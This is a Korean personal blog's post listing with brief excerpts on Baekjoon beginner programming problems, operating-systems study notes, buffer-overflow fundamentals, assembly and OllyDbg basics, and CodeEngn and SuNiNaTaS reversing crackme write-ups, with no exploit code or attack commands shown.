백준 온라인 저지 8393번 합https://www.acmicpc.net/problem/8393문제n이 주어졌을 때, 1부터 n까지 합을 구하는 프로그램을 작성하시오.풀이그냥 1부터 n까지 합을 구하는 공식이 생각나 그 방식대로 풀었다. 반복문 사용 안함.

[백준/BOJ] 15552번 빠른 A+B [내부링크]

백준 온라인 저지 15552번 빠른 A+Bhttps://www.acmicpc.net/problem/15552문제본격적으로 for문 문제를 풀기 전에 주의해야 할 점이 있다. 입출력 방식이 느리면 여러 줄을 입력받거나 출력할 때 시간초과가 날 수 있다는 점이다.C++을 사용하고 있고 cin/cout을 사용하고자 한다면, cin.tie(NULL)과 sync_with_stdio(false)를 둘 다 적용해 주고, endl 대신 개행문자(\n)를 쓰자. 단, 이렇게 하면 더 이상 scanf/printf/puts/getchar/putchar 등 C의 입출력 방식을 사용하면 안 된다.Java를 사용하고 있다면, Scanner와 System.out.println 대신 BufferedReader와 BufferedWriter를 사용할 수 있다. BufferedWriter.flush는 맨 마지막에 한 번.......

[백준/BOJ] 2741번 N 찍기 [내부링크]

백준 온라인 저지 2741번 N 찍기https://www.acmicpc.net/problem/2741문제자연수 N이 주어졌을 때, 1부터 N까지 한 줄에 하나씩 출력하는 프로그램을 작성하시오.풀이간단히 for 반복문 이용 했다.. 특별한 거 없다.

[백준/BOJ] 2742번 기찍 N [내부링크]

백준 온라인 저지 2742번 기찍 Nhttps://www.acmicpc.net/problem/2742문제자연수 N이 주어졌을 때, N부터 1까지 한 줄에 하나씩 출력하는 프로그램을 작성하시오.풀이아까와 다른 점은 1부터 N까지라면, 이번 문제는 N부터 1까지 출력하는 문제이다.그래서 반복문의 시작 조건을 i &#x3D; n(입력 값)으로 설정 했고 i를 1씩 감소(i--)시키면서 i가 0보다 클 때까지 반복문을 실행하게 했다.

[백준/BOJ] 2884번 알람 시계 [내부링크]

백준 온라인 저지 2884번 알람 시계https://www.acmicpc.net/problem/2884문제상근이는 매일 아침 알람을 듣고 일어난다. 알람을 듣고 바로 일어나면 다행이겠지만, 항상 조금만 더 자려는 마음 때문에 매일 학교를 지각하고 있다.상근이는 모든 방법을 동원해보았지만, 조금만 더 자려는 마음은 그 어떤 것도 없앨 수가 없었다.이런 상근이를 불쌍하게 보던, 창영이는 자신이 사용하는 방법을 추천해 주었다.바로 &#34;45분 일찍 알람 맞추기&#34;이다.이 방법은 단순하다. 원래 맞춰져있는 알람을 45분 앞서는 시간으로 바꾸는 것이다. 어차피 알람 소리를 들으면, 알람을 끄고 조금 더 잘 것이기 때문이다. 이 방법을 사용하면, 매일 아침 더.......

[백준/BOJ] 10817번 세 수 [내부링크]

백준 온라인 저지 10817번 세 수https://www.acmicpc.net/problem/10817문제세 정수 A, B, C가 주어진다. 이때, 두 번째로 큰 정수를 출력하는 프로그램을 작성하시오. 풀이각각의 정수 a, b, c가 두 번째로 큰 정수가 될 조건으로 분류.ex) a가 두 번째로 큰 정수가 되려면a가 b보다 크거나 같고 c보다 작거나 같아야 한다 또는, a가 b보다 작거나 같고 c보다 크거나 같아야 한다. (medium &#x3D; a)

[백준/BOJ] 2739번 구구단 [내부링크]

백준 온라인 저지 2739번 구구단https://www.acmicpc.net/problem/2739문제N을 입력받은 뒤, 구구단 N단을 출력하는 프로그램을 작성하시오. 출력 형식에 맞춰서 출력하면 된다.풀이for 문 이용Format) for(시작 조건; 종결 조건; 조건 변화 수식){}

[백준/BOJ] 10950번 A+B - 3 [내부링크]

백준 온라인 저지 10950번 A+B - 3https://www.acmicpc.net/problem/10950문제두 정수 A와 B를 입력받은 다음, A+B를 출력하는 프로그램을 작성하시오.첫째 줄에 테스트 케이스의 개수 T가 주어진다.각 테스트 케이스는 한 줄로 이루어져 있으며, 각 줄에 A와 B가 주어진다. (0 &#60; A, B &#60; 10)풀이for 반복문에서 배열을 선언하여 해결하는 문제배열 선언시 [10] 만큼의 공간을 선언해도 컴파일시 오류는 없으나 제출시 런타임 에러가 발생. 충분한 공간을 두도록 하자.

[백준/BOJ] 2588번 곱셈 [내부링크]

백준 온라인 저지 2588번 곱셈https://www.acmicpc.net/problem/2588문제(세 자리 수) × (세 자리 수)는 다음과 같은 과정을 통하여 이루어진다.(1)과 (2)위치에 들어갈 세 자리 자연수가 주어질 때 (3), (4), (5), (6)위치에 들어갈 값을 구하는 프로그램을 작성하시오.풀이두 번째로 입력 받는 수를 백의 자리, 십의 자리, 일의 자리수로 각각 분리하여 곱셈 연산하였다.

[백준/BOJ] 1330번 두 수 비교하기 [내부링크]

백준 온라인 저지 1330번 두 수 비교하기https://www.acmicpc.net/problem/1330문제두 정수 A와 B가 주어졌을 때, A와 B를 비교하는 프로그램을 작성하시오.첫째 줄에 다음 세 가지 중 하나를 출력한다.A가 B보다 큰 경우에는 &#x27;&#62;&#x27;를 출력한다.A가 B보다 작은 경우에는 &#x27;&#60;&#x27;를 출력한다.A와 B가 같은 경우에는 &#x27;&#x3D;&#x3D;&#x27;를 출력한다.풀이if ~ else if 문을 사용하여 각각의 조건에 해당하는 printf() 함수 이용하여 작성하였음

[백준/BOJ] 9498번 시험 성적 [내부링크]

백준 온라인 저지 9498번 시험 성적https://www.acmicpc.net/problem/9498문제시험 점수를 입력받아 90 ~ 100점은 A, 80 ~ 89점은 B, 70 ~ 79점은 C, 60 ~ 69점은 D, 나머지 점수는 F를 출력하는 프로그램을 작성하시오.풀이if ~ else if 조건문과 논리 연산자를 이용하여 각 조건별 printf() 함수 이용

[백준/BOJ] 2753번 윤년 [내부링크]

백준 온라인 저지 2753번 윤년https://www.acmicpc.net/problem/2753문제연도가 주어졌을 때, 윤년이면 1, 아니면 0을 출력하는 프로그램을 작성하시오.윤년은 연도가 4의 배수이면서, 100의 배수가 아닐 때 또는 400의 배수일 때 이다.예를들어, 2012년은 4의 배수라서 윤년이지만, 1900년은 4의 배수이지만, 100의 배수이기 때문에 윤년이 아니다.하지만, 2000년은 400의 배수이기 때문에 윤년이다.풀이윤년 &#x3D; 연도가 4의 배수이면서, 100의 배수가 아닐 때 or 400의 배수일 때에 해당하는 조건 수식을 작성하기.

[백준/BOJ] 10998번 A*B [내부링크]

백준 온라인 저지 10998번 A*Bhttps://www.acmicpc.net/problem/10998문제두 정수 A와 B를 입력받은 다음, A×B를 출력하는 프로그램을 작성하시오.풀이이전 포스팅에서 -를 *로 바꾸면 됨. (연산자)

[백준/BOJ] 1008번 A/B [내부링크]

백준 온라인 저지 1008번 A/Bhttps://www.acmicpc.net/problem/1008문제두 정수 A와 B를 입력받은 다음, A/B를 출력하는 프로그램을 작성하시오.첫째 줄에 A/B를 출력한다. 실제 정답과 출력값의 절대오차 또는 상대오차가 10-9 이하이면 정답이다.풀이정수형으로 입력 받은 a, b를 명시적 형변환을 통해 double 자료형으로 변환하였음 (실수 출력 위해)- float 형변환 후 출력하면 틀리는 이유float와 double은 표현할 수 있는 실수가 얼마나 정밀한가 이다.상대오차는 10-9 이하 일 때 정답 인증이 되기 때문에 float 형변환 후 컴파일시 10-8 자리에서 오차가 발생.

[백준/BOJ] 10869번 사칙연산 [내부링크]

백준 온라인 저지 10869번 사칙연산https://www.acmicpc.net/problem/10869문제두 자연수 A와 B가 주어진다. 이때, A+B, A-B, A*B, A/B(몫), A%B(나머지)를 출력하는 프로그램을 작성하시오. 풀이+, -, %, * 연산자 사용하여 출력

[백준/BOJ] 10430번 나머지 [내부링크]

백준 온라인 저지 10430번 나머지https://www.acmicpc.net/problem/10430문제(A+B)%C는 (A%C + B%C)%C 와 같을까?(A×B)%C는 (A%C × B%C)%C 와 같을까?세 수 A, B, C가 주어졌을 때, 위의 네 가지 값을 구하는 프로그램을 작성하시오.풀이사칙연산 연산자에서 %(나머지) 연산자를 추가적으로 사용하여 풀이

[백준/BOJ] 10172번 개 [내부링크]

백준 온라인 저지 10172번 개https://www.acmicpc.net/problem/10172문제아래 예제와 같이 개를 출력하시오.풀이이전 포스팅 10171번 고양이와 동일.\(백 슬래시)를 사용하여 &#34;, \의 원래 의미를 없앰

[백준/BOJ] 7287번 등록 [내부링크]

백준 온라인 저지 7287번 등록https://www.acmicpc.net/problem/7287문제자신이 온라인 저지에서 맞은 문제의 개수와 아이디를 그대로 출력하는 프로그램을 작성하시오.첫 줄에 자신이 맞은 문제의 수, 둘째 줄에 아이디를 출력한다.예시 ) 풀이자신이 맞춘 문제 수와 아이디 printf()함수로 출력정답이 정해져 있지 않음.

[백준/BOJ] 1000번 A+B [내부링크]

백준 온라인 저지 1000번 A+Bhttps://www.acmicpc.net/problem/1000문제두 정수 A와 B를 입력받은 다음, A+B를 출력하는 프로그램을 작성하시오.풀이입력 함수 scanf() 사용Format) scanf(&#34;입력 받을 형태&#34;, 입력 받을 공간의 주소)

[백준/BOJ] 1001번 A-B [내부링크]

백준 온라인 저지 1001번 A-Bhttps://www.acmicpc.net/problem/1001문제두 정수 A와 B를 입력받은 다음, A-B를 출력하는 프로그램을 작성하시오.풀이별 다를게 없음. 이전 포스팅에 +에서 - 바꾸기.

[쉽게 배우는 운영체제] CHAPTER 01. 운영체제의 개요 [내부링크]

운영체제 소개소프트웨어를 잘 알지 못하는 사람도 &#x27;운영체제&#x27;라는 말은 한 번쯤 들어보았을 ...

[포스팅] 커널이 공개되어지지 않은 애플사의 iOS와 Mac OS 역시 보안에 취약 [내부링크]

그동안 안전하다고 알려졌던 애플사의 맥(Mac) 등 다양한 컴퓨터 운영체제(OS)를 대상으로 악성코드가 ...

[쉽게 배우는 운영체제] CHAPTER 03. 프로세스와 스레드 [내부링크]

프로세스의 개요운영체제에서 프로세스는 하나의 작업 단위로서 정의된다.ex) 사용자가 마우스를 더블 클...

[쉽게 배우는 운영체제] CHAPTER 04. CPU 스케줄링 [내부링크]

스케줄링의 개요CPU 스케줄러는 프로세스가 생성된 후 종료될 때까지 모든 상태 변화를 조정하는 일을...

[쉽게 배우는 운영체제] CHAPTER 05. 프로세스 동기화 [내부링크]

프로세스 간 통신* 프로세스 간 통신의 개념프로세스가 다른 프로세스와 데이터를 주고 받는 것을 말하...

[쉽게 배우는 운영체제] CHAPTER 06. 교착 상태 [내부링크]

교착상태의 개요2개 이상의 프로세스가 다른 프로세스의 작업이 끝나기만 기다리며 작업을 더 이상 진행...

[시스템 해킹] 해커 지망생들이 알아야할 Buffer Overflow 기초 by.달고나 [내부링크]

우선 시스템 해킹 파트에서는 버퍼 오버플로우 기법의 기초에 대해서 기술하신 달고나님의 아래 자료를 가...

[시스템 해킹] BOF 란? [내부링크]

버퍼오버플로우(Buffer Over Flow) 란?- 말 그대로 버퍼를 넘치게(overflow) 하는 것- 메모리에 할당...

[BOF] 레지스터 구조, 8086 CPU [내부링크]

레지스터란 CPU 내부에 존재하는 다목적 저장 공간이다.CPU와 한 몸이기 때문에 고속으로 데이터를...

[BOF] 메모리와 레지스터의 동작 과정 (1) [내부링크]

앞서 메모리의 구조와 레지스터의 구조에 대해서 이해했다면이제는 프로그램이 실행되어 프로세스가 메모...

[BOF] 메모리와 레지스터의 동작 과정 (2) [내부링크]

프로그램 코드&lt;Step 3&gt;- Step 2 까지 명령을 수행한 모습은 위의 그림과 같다.8) push $0x3, pus...

[BOF] Buffer overflow의 이해 [내부링크]

버퍼(buffer)시스템이 연산작업을 하는데 있어 필요한 데이터를 일시적으로 메모리 상의 어딘가에 저장하...

[BOF] Byte order [내부링크]

앞에서 얘기 했듯이 공격코드의 데이터 순서와 공격코드가 들어간 버퍼에서의 데이터의 순서가 다르다.B...

[Server] VMware 가상 OS에 외부 접속 [내부링크]

진행중인 프로젝트가 하나 있는데 집에 있는 데스크탑에 vmware를 이용해 가상 서버를 하나 만들고 그 서버...

[Server] Ubuntu에 git, node.js, npm 설치 [내부링크]

git 설치터미널 창에서 아래의 소스 코드를 입력PPA를 이용한 node.js, npm 설치node.js의 최신 버...

[Reversing] 리버싱을 위한 어셈블리 [내부링크]

리버싱에서 어셈블리(Assembly) 란?리버싱을 위해 공부해야하는 필수 분야.어셈블리 책이나 개론서 등...

[Reversing] 어셈블리 명령어 [내부링크]

어셈블리에서 사용되는 명령어는 매우 많다.그 명령어들을 처음에 다 외우고 시작하면 편하겠지만 자주 ...

[Reversing] 어셈블리 프로그래밍 기초 (1) [내부링크]

앞에서의 실습 환경 구축을 마쳤다는 가정하에 진행합니다.항상 모든 프로그래밍의 기초는 Hello World...

[Reversing] WinAsm 오류 해결 [내부링크]

앞에서의 실습을 원활히 진행하지 못하였을 때의 오류 해결법이다.Error. 01Error : a subsystem can&#...

[Reversing] 어셈블리 프로그래밍 기초 (2) [내부링크]

변수를 입력 받고 출력, 입력 받은 변수들 간의 덧셈에 대해서 코드를 작성해 볼 것이다.목표는 어셈블리...

[Reversing] 어셈블리 프로그래밍 기초 (3) [내부링크]

이번 포스팅에서는 if 문, for 문, 이중 for 문에 대해서 간단한 예제를 통해 실습해 보았습니다.1) 3보...

[Reversing] 어셈블리 프로그래밍 기초 (4) [내부링크]

이번 포스팅에서 조건, 반복문 다음으로 어셈블리에서의 포인터에 대한 예제로 C언어 에서 strcpy 함수를 ...

[Reversing] 올리디버거 설치 및 사용법 [내부링크]

올리디버거 설치올리디버거 설치 : http://www.ollydbg.de/이 포스팅에서는 Odbg110 버전을 이용함항상 ...

[Reversing] CodeEngn Basic RCE L01 풀이 [내부링크]

코드엔진의 리버싱 문제는 어셈블리에 대한 어느 정도의 이해를 가지고 올리디버거를 사용하면서 풀기에 되...

[Reversing] CodeEngn Basic RCE L02 풀이 [내부링크]

- HxD 사용법헥스 에디터라는 프로그램은 파일을 실행시키지 않고서 PE(Portable executable)파일들...

[Reversing] CodeEngn Basic RCE L03 풀이 [내부링크]

Basic RCE L03비주얼베이직에서 스트링 비교함수 이름은?- Author : Blaster[DCD]- File P...

[Reversing] CodeEngn Basic RCE L04 풀이 [내부링크]

Basic RCE L04이 프로그램은 디버거 프로그램을 탐지하는 기능을 갖고 있다. 디버거를 탐지하는 함...

[Reversing] PE 파일의 구조와 분석 (1) [내부링크]

우선, PE 파일이라는 것은 Windows 운영체제에서 사용되는 실행 파일 형식이다.지금까지 codeengn 리...

[Reversing] PE 파일의 구조와 분석 (2) [내부링크]

앞의 포스팅에 이어서 NT Header 구조체의 OptionalHeader 구조체 멤버에 대해 알아보자- PE 헤더...

[Reversing] CodeEngn Basic RCE L05 풀이 [내부링크]

Basic RCE L05이 프로그램의 등록키는 무엇인가- Author : Acid Bytes [CFF]- File Passw...

[Reversing] CodeEngn Basic RCE L06 풀이 [내부링크]

Basic RCE L06Unpack을 한 후 Serial 을 찾으시오.정답인증은 OEP + SerialEx) 00400000PA...

[Reversing] CodeEngn Basic RCE L07 풀이 [내부링크]

Basic RCE L07컴퓨터 C 드라이브의 이름이 CodeEngn 일 경우 시리얼이 생성될 때 CodeEngn은 &...

[Reversing] CodeEngn Basic RCE L08 풀이 [내부링크]

Basic RCE L08OEP를 구하시오 Ex) 00400000- Author : Rekenmachine- File Password : co...

[Reversing] CodeEngn Basic RCE L09 풀이 [내부링크]

Basic RCE L09StolenByte를 구하시오 Ex) 75156A0068352040- Author : abex- File Passwor...

[Reversing] CodeEngn Basic RCE L11 풀이 [내부링크]

Basic RCE L11OEP를 찾으시오. Ex) 00401000 / Stolenbyte 를 찾으시오. Ex) FF35CA20400...

[Reversing] CodeEngn Basic RCE L13 풀이 [내부링크]

Basic RCE L13정답은 무엇인가- Author : Basse 2002- File Password : codeengn우선은 파일...

[Reversing] CodeEngn Basic RCE L15 풀이 [내부링크]

Basic RCE L15Name이 CodeEngn일때 Serial을 구하시오.- Author : uBc - bRiANbuSY- ...

[Reversing] CodeEngn Basic RCE L16 풀이 [내부링크]

Basic RCE L16Name이 CodeEngn일때 Serial 을 구하시오.- Author : ReWrit- File Passwo...

[Reversing] CodeEngn Basic RCE L18 풀이 [내부링크]

Basic RCE L18Name이 CodeEngn일때 Serial은 무엇인가- Author : Xspld3r- File Password...

[Reversing] CodeEngn Basic RCE L19 풀이 [내부링크]

Basic RCE L19이 프로그램은 몇 밀리세컨드 후에 종료 되는가- Author : CodeEngn- File Pas...

[SuNiNaTaS] REVERSING 10 풀이 [내부링크]

코드엔진 Basic 20번 조금 이따 풀겠습니다..고민하다가 써니나타스꺼 먼저 풀어볼게요.문제도 푸는거지...

[SuNiNaTaS] REVERSING 9 풀이 [내부링크]

여기 문제는 지금까지 풀던 문제보다 훨씬 단순하네요.매우 쉽습니다.9번 문제 입니다.실행 결과Key 를 ...

[SuNiNaTaS] REVERSING 11 풀이 [내부링크]

써니나타스의 마지막 리버싱 문제 입니다.많은 문제가 없어 아쉽네요..이번에도 역시 간단한 기초 리버싱...

[백준/BOJ] 2557번 Hello World [내부링크]

백준 온라인 저지 2557번 Hello Worldhttps://www.acmicpc.net/problem/2557문제Hello World!를 출력...

[백준/BOJ] 10718번 We love kriii [내부링크]

백준 온라인 저지 10718번 We love kriiihttps://www.acmicpc.net/problem/10718문제두 줄에 걸쳐 &quot;...

[백준/BOJ] 10171번 고양이 [내부링크]

백준 온라인 저지 10171번 고양이https://www.acmicpc.net/problem/10171문제아래 예제와 같이 고양이를 출...